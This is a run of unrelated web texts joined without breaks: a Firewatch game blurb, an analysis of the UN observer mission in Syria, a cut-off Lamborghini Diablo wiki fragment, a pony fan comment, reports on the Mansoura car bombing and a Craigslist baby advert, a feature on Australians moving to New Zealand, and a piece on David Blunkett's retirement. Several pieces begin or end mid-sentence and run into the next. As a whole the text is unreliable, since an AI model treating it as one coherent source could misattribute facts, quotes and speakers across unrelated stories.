2102.0002-USDP-6 / 002637991-0001 / 30-2015-0008899Firewatch is a single-player first-person mystery set in the Wyoming wilderness. The year is 1989. You are a man named Henry who has retreated from your messy life to work as a fire lookout in the Wyoming wilderness. Perched high atop a mountain, it’s your job to look for smoke and keep the wilderness safe. An especially hot, dry summer has everyone on edge. Your supervisor, a woman named Delilah, is available to you at all times over a small, handheld radio—your only contact with the world you've left behind. But when something strange draws you out of your lookout tower and into the world, you’ll explore a wild and unknown environment, facing questions and making choices that can build or destroy the only meaningful relationship you have. A Note: Firewatch is a video game about adults having adult conversations about adult things. If you plan on playing with a younger gamer, that might be good to know going in. Includes A stunningly beautiful wilderness environment that expands as you explore. A tailor-made story: the choices you make shape the narrative and build relationships. An edge-of-your-seat mystery. Secrets and discoveries to be made over every hill. Featuring Living, breathing characters brought to life by Cissy Jones (The Walking Dead: Season 1) and Rich Sommer (Mad Men) A spectacular wilderness environment by Olly Moss (Illustrator) and Jane Ng (The Cave, Brutal Legend) A thrilling story and script by Sean Vanaman and Jake Rodkin (The Walking Dead: Season 1, Poker Night at the Inventory) A stirring original soundtrack by Chris Remo (Gone Home, Spacebase DF-9) Fluid first-person animation by James Benson (Ori & the Blind Forest) Gameplay scripting and design work by Patrick Ewing (Twitter) and Nels Anderson (Mark of the Ninja) Programming by Will Armstrong (Bioshock II) and Ben Burbank (Costume Quest 2, Spacebase DF-9)
Show moreStory highlights Most analysts see the U.N. observer mission in Syria as the least worst option
Russia and the U.S. seem to be already preparing for the mission's failure
With Syria's economy in a freefall, financial implosion may be its greatest threat
The beginning of the U.N. observer mission to Syria heralds a new phase in more than a year of upheaval across the country. Success, however unlikely, could open the door to some form of dialogue between the regime and its opponents. But such is the polarization in Syria that most analysts see the mission as the least worst option before violence sets the agenda again.
It's not as though any "cessation of violence" has yet taken hold. The ceasefire was meant to begin last Thursday, but in the past few days the regime has continued to shell restive city neighborhoods, according to opposition activists and U.N. officials. U.N. human rights officials reported Monday "the shelling of the Khalidiya neighborhood and other districts in Homs by government forces and the use of heavy weaponry, such as machine-guns in other areas, including Idlib and some suburbs of Damascus."
One of the most important parts of the plan devised by Kofi Annan is that tanks, troops and heavy weapons be withdrawn from populated areas, but this has clearly not happened.
Monitoring missions can only work when the parties to a conflict have had enough of fighting or can be coerced into negotiation by outside powers. The Arab League mission members in Syria earlier this year were little more than bystanders, unable or unwilling to operate amid the government crackdown.
Twenty years ago, the U.N. agreed to deploy a mission to monitor a ceasefire in Sarajevo, the besieged capital of Bosnia. But the ceasefire never took hold as both Serbs and Muslims quarreled over its terms. Aid convoys were attacked and looted as U.N. monitors looked on.
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By the middle of 1992, more than a million Bosnians were homeless, similar to the number of Syrians displaced today. Despite the subsequent expansion of the U.N. presence in Bosnia, there was no mandate for more forceful intervention until the Srebrenica massacre -- more than three years after the conflict began.
The parallels are not exact but "there is a certain deja vu quality" to events in Syria, admits Ahmad Fawzi, spokesman for Annan.
"The United States is leaving it in the hands of Kofi Annan, as is the rest of the world," Fawzi told McClatchy newspapers. "We're the only path in town. There is no alternative." That in itself illustrates how few options there are for the West to influence events in Syria.
It seems that both Russia and the United States are already preparing for the mission's failure. Russian Foreign Minister Sergei Lavrov said Tuesday that some foreign powers hoped to scupper the Annan plan by smuggling weapons to the rebels, while U.S. Ambassador to the United Nations Susan Rice says that regime infractions "will call into question the wisdom and the viability of sending in the full monitoring presence."
Even the terms of the U.N. monitors are still a matter of dispute. U.N. Secretary General Ban Ki-moon said Monday that the government must guarantee freedom of access. The monitors "should be allowed to freely move to any places where they will be able to observe this cessation of violence," he said.
The government has made it clear that the observers won't have free rein and it "will be involved in all steps on the ground." It's also demanding that rebels lay down their weapons, which one opposition activist said was like telling them to write a suicide note.
Even 250 monitors -- the maximum currently envisaged -- would be hard pressed to cover all Syria's hotspots, as Ban himself acknowledged Tuesday.
If it took hold, the presence of U.N. observers might, ironically, provide a respite for both sides. Syria's military has seen a year of relentless operations (and growing defections). The Syrian Free Army has been on the back foot, short of weapons and training. One FSA commander acknowledged he was preparing for the next stage on the assumption the Annan mission would fail.
According to Annan's six-point plan, the Syrian government would have to make significant concessions -- allowing the international media into the country, releasing detainees and allowing peaceful protest. It has shown no sign of making such concessions. The protest movement has endured for months despite arbitrary killings, detention and torture. In a state renowned for its secret police, the shackles of fear were broken and cannot be clamped on again. So for the regime to give free rein to protest would be tantamount to giving up control of sizable cities like Homs, Hama and Idlib. In such places Local Coordination Committees set up by the opposition have already become mini-governments, organizing food deliveries, providing shelter, settling disputes. In addition, the size of an international humanitarian aid effort also mandated by U.N. resolution would de facto deprive the regime of the control it has struggled to reassert.
The arrival of the U.N. monitors does nothing to change the endgame in Syria, which is essentially about the survival of the al-Assad regime. Russia and al-Assad's ally, Iran, apparently believe that Syria can weather the storm; Europe, Turkey and the United States that it is ultimately doomed. The Syrian government appears to have calculated that by accepting if not adhering to the U.N. plan -- for now -- it can alleviate the pressure on it, and that its concessions won't tip the balance toward its opponents, who are disorganized, divided and lack the weapons to challenge the security apparatus.
Also in the regime's calculations, presumably, is that even if it has to resort to plan A, bludgeoning the revolt, the international community is too divided to contemplate military action. The International Crisis Group noted last week: "The West remains confused and ambivalent, having exhausted all sources of diplomatic and economic leverage, fearful of the future and tiptoeing around the question of military options."
Qatar and Saudi Arabia have spoken of arming the opposition, but have not followed through with the sort of hardware and cash that made a difference on the battlefield in Libya.
Looming over the tactical considerations of all sides is the very real damage done to the Syrian economy and people, with the U.N. estimating at least 1 million people displaced internally (not least because sectarian animosities have grown.) Nearly 100,000 Syrians have taken refuge in Jordan. Across the border with Turkey, the refugee camps are taking on a permanent air. Few of the thousands who fled expect to go home anytime soon, and the Obama administration continues to study a buffer zone on the Syria-Turkey border.
If the al-Assad dynasty is to survive, it will need a massive infusion of aid to repair infrastructure and revive an economy in freefall. Defectors have told CNN that government spending has largely been diverted to the military and the feared regime militia; there are shortages of gasoline and electricity. The value of the Syrian pound has halved and a shortage of hard currency is making imports difficult to finance. Reuters quotes French diplomatic sources as estimating Tuesday that Syria's hard currency reserves have dropped 50% in a year as sanctions have hurt the banking sector and the oil industry. In the long-term, against a background of hyperinflation and shortages, economic implosion may be the Syrian state's greatest threat.
But does the government have the will or capacity to repair the damage and deliver economic recovery? And would anyone help it do so?
Not while it's locked in a polarizing war of attrition, characterized by the massacre of entire families and bubbling sectarian hatred. As the International Crisis Group observed last week: "The fact is that the regime's behavior has fueled extremists on both sides, and, by allowing the country's slide into chaos, provided them space to move in and operate."
To most commentators, 250 blue berets are unlikely to reverse that dynamic.The Lamborghini Diablo is a high-performance mid-engined sports car that was built by Italian automotive manufacturer Lamborghini between 1990 and 2001. It is the first production Lamborghini capable of attaining a top speed in excess of 200 miles per hour (320 km/h). After the end of its production run in 2001, the Diablo was replaced by the Lamborghini Murciélago. The name Diablo' means "devil" in Spanish language.
History of development [ edit ]
The Lamborghini P132 prototype designed by Marcello Gandini on display at the Lamborghini museum, a design which would later be carried out to the Cizeta V16T
Rear view of the P132 prototype |
to our comic brethren.Also, as if you guys really need the clarification, Angel Bunny clearly deserves the front and center spot as he truly is the most dastardly of malevolence presented. Oh sure, Discord overturned Celestia and reigned in an age of chaos. Sombra enslaved his own people to satisfy his crystal obsession. Trixie put Ponyville under a dome, Chrysalis broke through a dome, and the Nightmares blocked out the sun.But Angel?Slapped Fluttershy.Over a salad.Enjoy your supreme position upon the origin of malcontent you horrible, horrible demonspawn.A powerful explosion believed to be caused by a car bomb rocked a police headquarters in a Nile Delta city north of Cairo early Tuesday, killing at least 12 people and injuring more than 100, according to the state news agency and a security official.
The interim government accused the Muslim Brotherhood of orchestrating the attack, branding it a "terrorist organization."
The Middle East News Agency quoted Cabinet spokesman Sherif Shawki as saying that the Muslim Brotherhood showed its "ugly face as a terrorist organization shedding blood and messing with Egypt's security."
The attack came a day after an Al-Qaida-inspired group called on police and army personnel to desert or face death at the hands of its fighters.
The group and several others have claimed responsibility for a surge of attacks on security forces since the popularly backed July coup that toppled the country's former Islamist president, Mohammed Morsi. In response, Egypt's armed forces launched an offensive against militants in the Northern Sinai province in August.
The Muslim Brotherhood condemned the attack in an emailed statement from the group's London press office released hours after the explosion.
"The Muslim Brotherhood condemns in the strongest possible terms the attack on the police headquarters in Mansoura (region)," the statement said.
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"The Muslim Brotherhood considers this act as a direct attack on the unity of the Egyptian people and demands an enquiry forthwith so that the perpetrators of this crime may be brought to justice."
MENA said the explosion took place at 1:10 a.m. at Daqahliya security headquarters in the Nile Delta province of Mansour, collapsing part of the five-floor building. A security official says 14 people were killed and nearly 100 injured, including the city's security chief. Most of those killed were police officers inside headquarters, their bodies buried beneath the debris.
It was the first major attack in the Nile Delta, spreading the carnage to a new area and bringing it closer to Cairo. Previous violence that killed scores of people happened in Sinai, or in Suez Canal-area cities such as Islamilia.
Security forces cordoned off the whole area, closed major entrances and exits to the city and set up checkpoints to search for perpetrators, the official said.
The death toll is expected to rise, a state official said, speaking on condition of anonymity because he was not authorized to speak to the press. State TV called on residents to rush to hospitals to donate blood.
The official added that the preliminary investigation indicated a car bomb caused the explosion.
Egypt's Prime Minister Hazem el-Beblawi described the attack as a "terrorist incident," and expressed condolences to the families of the victims and vowed that the perpetrators "will not escape justice."
MENA said that the explosion damaged surrounding buildings, including a bank and a theater, and wrecked dozens of vehicles.
The same building was bombed weeks ago, but that explosion in front of the building caused no major casualties. Militant Islamists have attacked several security headquarters with car bombs or by suicide bombers.
The attack comes shortly after the Islamic militant group Ansar Beit al-Maqdis, or the Champions of Jerusalem, said it considers Egyptian troops to be infidels because they answer to the secular-leaning military-backed government.
The group and others based in the Sinai claimed responsibility for a number of suicide car bombings and deadly attacks on security headquarters, including a failed assassination attempt on Egypt's Interior Minister in September using a suicide car bombing. The minister escaped unharmed.
Speaking at a public forum Monday, military spokesman Ahmed Mohammed Ali said the army crackdown has killed 184 militants and arrested 803 others. He said about 25 percent of those killed and arrested are foreign fighters, but didn't provide further details. Ansar Beit al-Maqdis is believed to have ties with Palestinian militants in the neighboring Gaza Strip, and officials have said other foreign militants have found refuge in Sinai during the ongoing turmoil.
Ali also said troops have destroyed about 786 tunnels between Sinai and Gaza, which the government says are used to smuggle militants and weapons. The border crossing with Gaza has been mostly closed by Egypt and Israel since Hamas took over the tiny coastal territory in 2007. Gazans rely on the tunnels for access to many commercial goods.
"We have achieved great successes. We have impacted the main capabilities of the terrorists," Ali told the gathering. "There are, however, still cells in there. We will continue to deal with them with resolve and seriousness."
Ansar Beit al-Maqdis said it "will be more determined to fight" the military and police if its warning is ignored. It urged them to "repent" from participating in "this infidel bastion that is at war with God and his Prophet, and stop serving in its ranks." Its statement was dated Sunday but appeared Monday on militant websites.
The group gained notoriety after expanding its operations outside of the restive northern Sinai province.
But MENA quoted Cabinet spokesman Shawki as defying the militants, saying "Such terrorist operations will not prevent us from moving forward with the road map." He was referring to the upcoming referendum on a draft constitution Jan. 14-15, a key step in a military-backed transition plan aimed at holding presidential and parliamentarian elections later next year.
The damaged security building in Mansoura, Egypt, after Tuesday's car bomb blast. Reuters
skip -A New York man frustrated his girlfriend was not paying him enough attention has been arrested after offering to sell her two-month-old baby online.
Paul Marquez has been charged with endangering the welfare of a child and harassment after allegedly offered his partner's child online for $100 (£65).
Authorities say Marquez, 22, had been out with the baby's mother a few times but felt she was not paying him enough attention. They say he was angry with her so he posted the adverts with photos of her daughter on the Craigslist website.
The mother notified police after she received a phone call from a person offering to buy the baby on Craigslist.
The name of his girlfriend - reported to be Katie Devalle - was given in the advert, which was placed on the 'Baby and Kids' section of the website.
'The reason I decided to put this post was because I got bored and wanted to get a little laugh and a little kick out of it, but nothing serious', Marquez told police, according to the New York Daily News.
Marquez - who has a two-year-old child himself, is said to have met the mother online and dated her a few times.
According to a criminal complaint, Marquez says he wanted to get back at the woman. He is being held in lieu of 1,000 dollars bail.
A source told the New York Post: 'He was apparently upset she wouldn’t pay him more attention and posted the two ads as revenge.
'The mom didn’t have time for him. She was working all the time.'Jennifer Zhu, a former Australian public servant, was writing briefing notes for incoming prime minister Tony Abbott when she hatched her own Pacific solution.
She leans forward so her story can be heard above the rhythmic grunts of the dragon boat teams gliding across New Zealand’s Wellington harbour at dusk. “I was in Canberra working on the briefings for the change of government [in 2013] when I realised how much the public service was going to be cut [under Abbott],” she says. Her Australian boyfriend, fellow public servant Iain McKenzie, 28, chimes in: “We could see that promotions were unlikely.”
“So I looked up a website,” continues Zhu, 27, who now works for Immigration New Zealand, “and there were lots of government jobs here. We thought, ‘Why not?’ ” After a year in Wellington, they haven’t looked back. “We both have good [public service] jobs and it’s a much more relaxed culture,” says Iain. “We’re not leaving anytime soon.”
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DEFENCE: Kiwis in no-man’s land with ADF
More than 500km north, in the dairy capital of Hamilton, Australian Mark Neal sits under a large tree and listens to his wife Megan talk about leaving their family farm in Taree to move to New Zealand with their three young children. “This is a gem of a place,” says Megan. “Mark has a job he loves and I’ve just got part-time work [as a financial analyst] which was so hard to get in Australia, because there is no culture to support professional women who want to return to work less than full time.” She throws her hands in the air. “I feel like screaming to Tony Abbott and Joe Hockey, ‘Can’t you see that the [work- family] culture in Australia is broken!’ They could really learn some lessons from this place.”
Down south, in the Marlborough wine district on New Zealand’s South Island, Jim White strides in from the vineyards wearing shorts, boots and a ruddy-faced grin. “I’m just a glorified farmer,” he says in a broad Aussie twang. But this former University of Melbourne student, now viticulturist for the Cloudy Bay winery, is another refugee who has jumped the Tasman. “The wine industry here is more vibrant than in Australia,” he says, explaining why he brought his wife Nikki and their two young children to live in New Zealand. “When we got here we realised how many other Australians had come over. But we love it and I guess we are helping to reverse the tide.”
For more than 20 years, “the tide” has been a one-way wave that has defined and sometimes even threatened to swamp relations between Australians and New Zealanders. The relentless flow to Australia of some 40,000 Kiwis each year spawned a mythology of its own. They were dubbed Bondi Bludgers who either stole our jobs or sucked up our welfare. In 1986, Liberal MP Alexander Downer scurrilously claimed single New Zealand women were coming here to give birth just so they could get supporting parent’s benefits. Such was the concern, the Howard government in 2001 made Kiwis ineligible for most housing, healthcare and unemployment benefits. Comedian Vince Sorrenti reflected the mood of those times when he quipped on national television: “To all you New Zealanders, there are only 27 shoplifting days left to Christmas!”
From the Kiwi point of view, Australia was the land of milk and honey, a rich big brother who would help set you up for life. “For about 20 years, wages were roughly 30 per cent higher [in Australia], so you just got on a plane. Jobs were plentiful and you just made money,” says Colin James, one of New Zealand’s foremost political analysts. “It was just an assumption for so long that we in New Zealand were stuck with a net outflow of people so what has now happened has become quite a talking point.”
What has happened is that somewhere, somehow, perhaps in the dead of night when no one was looking, Australia and New Zealand have swapped sides. Cocky, confident Australia is now home to dysfunctional politics, yawning budget deficits, rising unemployment and an electorate unwilling to accept tough reforms.
By contrast, New Zealand Prime Minister John Key is running the most successful and stable centre-right government in the world. Whereas Abbott might not survive his first term as leader, Key, 53, is into his third term and has never been more popular. Key presides over a country that is no longer a dead-end backwater but one that enjoys plentiful jobs, strong economic growth and is on the cusp of a budget surplus. All this despite its second-largest city, Christchurch, being devastated by the earthquake of February 22, 2011, which left 185 people dead, the city centre in ruins and a $40 billion clean-up.
Even the Kiwi dollar, for so long the poor cousin to our own currency, is at virtual parity these days. “I’ve been here for 15 years and I’ve never seen this before,” mutters the woman at the Melbourne airport currency exchange as she hands me fewer $NZ than I gave her in $A. “They must be doing something right over there.”
GDP growth in New Zealand last year was 3.3 per cent compared with 2.8 per cent in Australia, while unemployment was 5.7 per cent in the December quarter compared with 6.1 per cent (now 6.3 per cent) here. Forget rugby; New Zealand is winning a bigger game. When Abbott visited New Zealand in February, he had to concede Key has led “a very successful, a really, really successful centre-right government. There are lessons for Australia in what you have done.” By contrast, the New Zealand press pack suppressed giggles when Key told an Australian journalist: “I think it’s a bit harsh to describe it [Australia] as one of the more unstable democracies in the Pacific.”
As a result of this trans-Tasman shift in fortunes, we are seeing something we have not seen for a generation. The tide of Kiwis coming to our shores has ebbed while the number of those going back home has flowed. This year the trans-Tasman migration is likely to be in New Zealand’s favour — something that has not been seen since Australia had “the recession it had to have” in the early 1990s.
Sociology professor Paul Spoonley from New Zealand’s Massey University says the net number of Kiwis moving to Australia has fallen from 33,652 in 2013 (53,067 Kiwis coming here and 19,425 returning) to 12,823 in 2014 (37,193 coming and 24,370 returning) to only 2024 in the year to January (28,515 coming, 26,491 returning). “This net loss to Australia in the 12 months to January 2015 is the smallest since 1992,” he says. “These are hugely significant figures.”
James says the trend has killed the so-called “brain drain” to Australia as a political issue. “For the past 35 years opposition parties in New Zealand have accused governments of sending Kiwis to Australia, but that sort of talk at a political level has now completely died.”
Sitting in his office in the “Beehive” ministerial building in Wellington, Prime Minister Key smiles and points out the window towards the Westpac Stadium, known locally as The Cake Tin. Before he was elected in 2008, Key made a campaign advertisement in the empty stadium pointing to the 34,500 chairs and saying that they represented the brain drain which New Zealand lost to Australia each year.
“If you look at that stadium down the road, The Cake Tin, that’s when we said, ‘Look around, this is the equivalent of how many go to Australia each year’ and now we will say you could have them in a telephone box,” he says. “What you’ve got is a combination of New Zealanders not going to Australia, New Zealanders returning from Australia and people coming from the rest of the world. I think it is because people are quite pragmatic — if the job opportunities are there, people will gravitate towards them.”
Key says Australia’s mining sector and growth in the big cities has slowed, making the country less attractive. “It is harder; I don’t think the opportunities are there in the same way, while on the other side of the equation there are lots of opportunities here in New Zealand and while they may make less money the cost of living is generally a lot lower.”
Mark Kenneally strides to the front gate of his house in Blenheim, the heart of the South Island’s Marlborough wine country, and declares himself “a proud Australian” and “an Adelaide Crows supporter”. He studied viticulture in Adelaide but his plan to work in the wine industry in his native South Australia was soon derailed. “The opportunities were not there that year for university leavers in viticulture,” says Kenneally, 32, who graduated five years ago. “So I got on the net and saw there were opportunities in New Zealand and I got the first job I applied for. My wife Emma is a theatre nurse and so we googled the local hospital here and realised there were jobs there also. We needed to make a call about our future and we did.”
Mark and Emma moved to New Zealand with a two-year plan but now — five years on and with an 18-month-old-son, Jack, and another baby on the way — they call it home. “It has been great,” says Mark, now the vineyards manager and “vintrepreneur” with Matua Wines. “It is such a laid-back place, it feels just like Australia did when I was growing up, it’s really affordable, people are friendly and it’s a great climate.”
“There are definitely a lot more Australians coming out here lately,” says Peter Jackson, who along with his wife Nadine Worley were among the first wave of Australian winemakers who came to Marlborough a decade ago when the New Zealand wine industry was taking off. “There would be at least 50 Australians here now,” says Jackson as he sips coffee in a Blenheim cafe with Nadine. “Nope, I reckon more like 100,” she says.
“When we first came here the exodus of Kiwis to Australia was in the news almost every day,” says Jackson. “It would show these Kiwis in their big houses on the Gold Coast talking about how rich they were getting. But you don’t see that stuff these days.”
Australian winemaker Anna Flowerday is shielding her eyes from the afternoon sun as she stands with her Kiwi husband Jason amid the lush vineyards of their small family winery, Te Whare Ra Wines. “I’m really not tempted to go back to Australia,” says the 40-year-old mother of two sets of twin girls, seven and 10. “To be honest, the current government there is not exactly making me homesick, it is too unstable.”
“In a business like ours, stability is really important,” says Jason, who moved to Marlborough with Anna a decade ago. “We are up to here in debt,” says Anna, holding her hands up to her neck, “so we need that confidence, that certainty, to keep investing and make the right decisions about the kids’ future.”
Ironically, John Key was mentored in politics by John Howard and Australia was his early template. Key recalls his first meeting in Canberra with the then prime minister in 2006 when Key was opposition leader. “He [Howard] said to me, “OK, do you want to know how to win elections, and do you drink tea? He said, ‘Here are some of the things you have to do’ and he knew more about some of the New Zealand electorates than I knew.”
Three election victories later, Key says Howard’s “list” of election-winning strategies still holds true. “My own personal view is that Howard is the best centre-right leader in my lifetime. It’s not just that he won four elections but I reckon his innate sense of understanding middle Australia, the Aussie battler, and to be on their side with a very clear sense of what it takes to make their life better is really strong.”
The greatest contrast between the way Key runs New Zealand and how the Abbott, Gillard and Rudd Governments have behaved is that Key does not tend to spring nasty surprises on his voters. He has avoided Australia’s recent political pattern of lavish announcements followed by ignominious retreats on issues like the mining tax, carbon tax, maternity leave scheme and Medicare co-payment.
“Key’s recipe for implementing reform is simple — his government spends at least as much time on carefully preparing policy changes as it spends on their implementation,” writes Oliver Hartwich, author of Quiet Achievers: the New Zealand Path to Reform, released in December by the Menzies Research Centre. “Patience, preparation and pragmatism are the defining characteristics of Key’s government style. Nothing ever hits the electorate by surprise. Changes in direction are flagged well in advance and legitimacy is sought through elections. It is a strategy that could be described as incremental radicalism.” Hartwich believes Abbott needs to model himself on Key to ‘rediscover the art of reform’.”
Key’s personal story is compelling and it says much about the way he runs the country. The son of an English immigrant father, he was raised by his single mother, an Austrian Jewish immigrant in a state-run housing commission flat in Christchurch. From his dirt-poor childhood he became a millionaire, rising through the ranks of financial institutions to become head of global foreign exchange trading for Merrill Lynch in London. It is estimated he was worth more than $NZ40 million by age 40.
It is often said that Key runs New Zealand like a CEO rather than a politician and that there are clear parallels in style with another self‑ made millionaire-turned-politician, Malcolm Turnbull. “I know [Malcolm] well and I like him,” is all that Key will say of Turnbull, wary of wading into leadership speculation.
Key is a delegator rather than a dictator and makes a habit of consulting in person with several of his ministerial colleagues each morning. He holds informal meetings ahead of formal Cabinet sessions so that people can float ideas or shoot them down without undue embarrassment. “Most people realise we are not doing extreme things,” he says. “We try to explain what we are about.” He says he is “unashamedly pro-economic growth” but prefers the path of pragmatism over ideology. “My instincts are very much in the middle so I am not fighting internal demons,” he says. “I am not a secret right-winger who wants to do things.”
He does not accuse Abbott of being a secret right-winger but the truth is that compared with Abbott, Key is much more of a pragmatic centrist economically and is more liberal socially, having voted for gay marriage in 2012.
It says much about Key’s political skills that he managed to usher in an increase in the GST in 2010, a debate that both sides of Australian politics are unwilling to have. Ironically, Key did this despite Howard, the architect of Australia’s GST, advising Key over a lunch in Auckland in 2010 that a rise was too risky. “I said to [Howard] ‘I am going to raise the GST and drop personal tax rates’ and he said, ‘Don’t do it’. He said, ‘You’ll have the obvious argument that the price of bread goes up and it will be felt more keenly by the poorer person and so you will lose that debate’.”
But in the end Key chose to pursue the reform and succeeded, with surprisingly little political bloodshed, in lifting the GST by 2.5 percentage points to 15 per cent while cutting personal and company tax. As a result, New Zealand’s top personal tax rate is now only 33 per cent compared with 45 in Australia, while the company tax rate is 28 per cent compared with 30 per cent here. Key has also been part-privatising state assets in power, coal and aviation, a path that causes political grief in Australia. Key’s reform record has been helped by having a first-rate finance minister, Bill English.
In welfare reform, Australia is looking to emulate the New Zealand system, which is saving billions in long-term payments. In 2011, Key adopted a new model of welfare that identifies groups at risk of long-term welfare and establishes special targeted programs for them. “We’ve done a lot in what is called the ‘investment approach’ to welfare reform and we have been genuinely investing money up front in people who would otherwise be long-term beneficiaries,” says Key. When social services minister Scott Morrison addressed Canberra’s National Press Club in February he spent most of his speech lauding the New Zealand model and promising to look at what Australia could adopt from it.
Part of Key’s popularity stems from what political analyst Colin James calls his macro- personality. “Key has a remarkable rapport with people across the political spectrum and that is unusual. Bob Hawke probably had that but certainly Rudd, Gillard and Abbott didn’t.”
Because Australians and New Zealanders are allowed to work in each other’s countries without restrictions, migration statistics are not definitive but they do suggest that far more Australians are now moving to New Zealand to live. While there will always be a flurry of movement because of family ties between the estimated 600,000 Kiwis in Australia and 60,000 Australians in New Zealand, the total number of people from Australia moving to New Zealand (including New Zealanders returning home) has soared in the past two years to February from 15,355 to 23,571.
Spoonley says the number of non-Kiwi citizens arriving from Australia to live in New Zealand has jumped by 50 per cent in the past two years, from 5234 in the 12 months to January 2013 to 7895 this year.
Job opportunities and quality of life have driven this trend. According to data comparison website Numbeo, apartment rents are on average 24 per cent lower in New Zealand than in Australia and apartment costs per square metre 36 per cent lower. The national median house price has stayed flat at $350,000, according to the Real Estate Institute NZ, and even in Auckland, where the market is hottest, the median price of a house — $675,000 — still compares favourably with Australian cities.
New Zealand also enjoys a reputation for better work-life balance, although OECD figures suggest New Zealanders only have marginally more leisure time than Australians. The downside is that salaries in New Zealand are also around 30 per cent lower on average, although this gap is said to be closing.
Even so, New Zealand is trying to make the most of its moment in the sun, having recently held job expos in Perth and Sydney and another in Melbourne later this month to spread the message that “New Zealand is one of the best performing economies in the world right now and the demand for skilled workers is high”.
“I didn’t think my wife would be in the mood for a trans-Tasman move,” says Mark Neal as he munches a sandwich in his front yard in Hamilton. He and Megan are reflecting on their decision to move from his family’s Taree dairy farm to Hamilton last year. “But the whole dairy industry in Australia has been static for 15 years whereas dairy production in New Zealand has doubled in that time.” Neal, 37, a dairy farmer and agricultural economist, was offered a plum research role with New Zealand’s dairy industry body Dairy NZ and decided to grab the opportunity and move across with Megan and their three children aged two, four and six.
“I’m really enjoying the job, Megan has also got herself a good job [at Dairy NZ] and the kids are happy at school,” Mark says. “Kids have an amazing life here, they are barefoot all day at school and they are encouraged to climb trees and do things we once did as kids but which schools in Australia won’t allow. If you shake a tree in their school, eight kids will drop out of it.”
Inside the headquarters of Dairy NZ, on the outskirts of Hamilton, employees walk down corridors with fake grass on the walls and murals of cows everywhere. It is a tongue-in-cheek salute to NZ’s most valuable export industry which supplies a third of the global dairy trade and has been a key driver of economic growth.
Sitting in the courtyard at lunchtime are two of Australia’s PhDs that got away. Callum Eastwood, 38, and Cameron Ludeman, 30, are Kiwis who did PhDs in dairy technology at the University of Melbourne, both with the intention of staying in Australia to work. In the decade from 2004 they say there were so many fellow Kiwis studying agriculture at the university that they dubbed their department “Little NZ”. Now they say almost all of these Kiwis have returned to New Zealand with PhDs to their name rather than stay in Australia. “I was looking for an opportunity [in Australia] at that time,” says Cameron. “But then I heard about a job going at Dairy NZ and chose to go home. New Zealand was looking much better at that time, things were much rosier.”
Both men say that they were lured home by opportunity and lifestyle. They took a pay cut of around 15 per cent but considered it a worthwhile trade-off.
Tears are streaming down Kimberly Kidd’s face as she sits on a leather couch in her cafe in the small town of Thames at the foot of the Coromandel Peninsula in New Zealand’s North Island. “At first I was so homesick for Melbourne, I just missed everything and everyone,” she says as she and her Australian friend Lauren Haynes open a third bottle of wine.
Kidd, now 31, met her Kiwi husband and chef Rusty, 34, in Melbourne in 2005. Rusty wanted to open a cafe but thought the competition in Melbourne would be too tough, so he took Kimberly and their son Jacob back to his home town of Thames. “It was so hit and miss with restaurants and cafes in Australia that we figured we would try it here instead,” she says.
They moved across in 2011 and he got a job as a chef while she looked after Jacob. But by 2013 she was going stir-crazy in the small town of 8000 people and wanted to go home to Melbourne. So they hatched a compromise. They would open a cafe in Thames, call it Cafe Melbourne, and try to reproduce the same Melbourne cafe culture in rural New Zealand. “I wanted something that reminded me of the good coffee, the food and the service of Melbourne,” she says. “I wanted to feel more at home.”
A blackboard on the wall nearby has Kimberly’s favourite hometown streets scribbled across it: “Acland St, Chapel St, Bridge Rd, Lygon St.” On the afternoon I visit the cafe is packed, defying the predictions of some townsfolk in Thames that New Zealanders would never eat in a place that reminded them of Australia. “This could have gone so badly for us,” says Kimberly. “It was a big risk, but it’s been awesome.” She wipes away her tears. “And I’m not homesick anymore.”
The trend continues from the small end of town to the big. CEO of the ANZ’s New Zealand operations, Australian David Hisco, and his Australian wife Deborah now plan to retire in Auckland. “We really think this is where we will finish up,” says Hisco, who has worked in the country for five years. “The people are so friendly, the lifestyle is better and more balanced and people here place a premium on family.”
The current contrasting fortunes of both countries could easily be reversed in years ahead, and the traditional flow of Kiwis to Australia could resume. Like Australia, New Zealand is heavily dependent on the health of the Chinese economy and its dairy industry, the country’s biggest export earner, suffered sharply lower prices last year.
In addition, the rebuilding of Christchurch is adding around 1.25 per cent to GDP growth each year but this will tail off as the city nears completion. Even so, a report last month by Moody’s Investor Services predicts continued strong economic growth for at least the next two years and for New Zealand’s budget to return to surplus — a word that Australians can only dream about.
Key concedes that New Zealand has better growth and employment than Australia right now but declines to brag. “We want a strong Australia,” he maintains. “A strong Australia is good for New Zealand. No relationship is more important to New Zealand … there is naturally a bit of rivalry but Aussies are looked at fondly here. Most people, I think, look at Aussies and go, ‘It really is the lucky country even if it has one too many creepy-crawlies and sharks’.”
Key lists several high-profile Australians who have come to New Zealand to live, but his final one packs a punch. “The Australian High Commissioner [Michael Potts], who is just about to finish his time here, is not going back to Australia,” the PM reveals. “He is about to live down the road here in Wellington,” he says, pointing out the window. “His wife is a Kiwi so they have made the call they are going to live in New Zealand.”
Key cannot hide his grin. Now even the diplomats are defecting. It’s taken a generation, but the Bondi Bludgers are finally enjoying their revenge.
Cameron Stewart Washington Correspondent Cameron Stewart is an Associate Editor of The Australian who combines investigative reporting on issues of foreign affairs, defence and national security with feature writing on a wide range of topics for the W... Read moreMedia playback is unsupported on your device Media caption David Blunkett served as education secretary, home secretary and work and pension secretary
Former home secretary David Blunkett has announced he will stand down as a Labour MP at the next general election.
Mr Blunkett, who has been the MP for Sheffield Brightside and Hillsborough since 1987, said the Labour leadership would want "new faces" in the party.
He vowed to support leader Ed Miliband, but told the BBC the party could be in opposition for 15 years if it did not win next year's general election.
Mr Miliband said Mr Blunkett, 67, had been an "amazing asset" to the party.
He said the former cabinet minister had been "a friend to me during my time as leader" and would be "hugely missed".
"I have valued and counted on his advice and wisdom. Every Labour leader under whom he served would have said the same. He is Labour through and through."
'Clear break'
Mr Blunkett told local party members that "there does come a time when a fresh approach and the energy that goes with it outweigh other considerations".
He said: "I believe that for the party and for the constituency, as well as for me personally, that moment has come."
Mr Blunkett said standing down from parliament had been "by far the most difficult political decision I have ever made, in a lifetime of extremely difficult decisions".
Image caption Mr Blunkett - who was the youngest ever leader of Sheffield City Council - was elected to parliament in 1987
Image copyright PA Image caption He became education secretary in 1997, serving in the cabinet alongside future the prime minister, Gordon Brown
Image caption He went on to become home secretary as part of Tony Blair's Labour government
Mr Blunkett, who served as education secretary, home secretary and work and pension secretary under former prime minister Tony Blair, said the Labour leadership wanted to make a "clear break with the past".
But he vowed to continue to make a contribution to "public service and the social and voluntary sector".
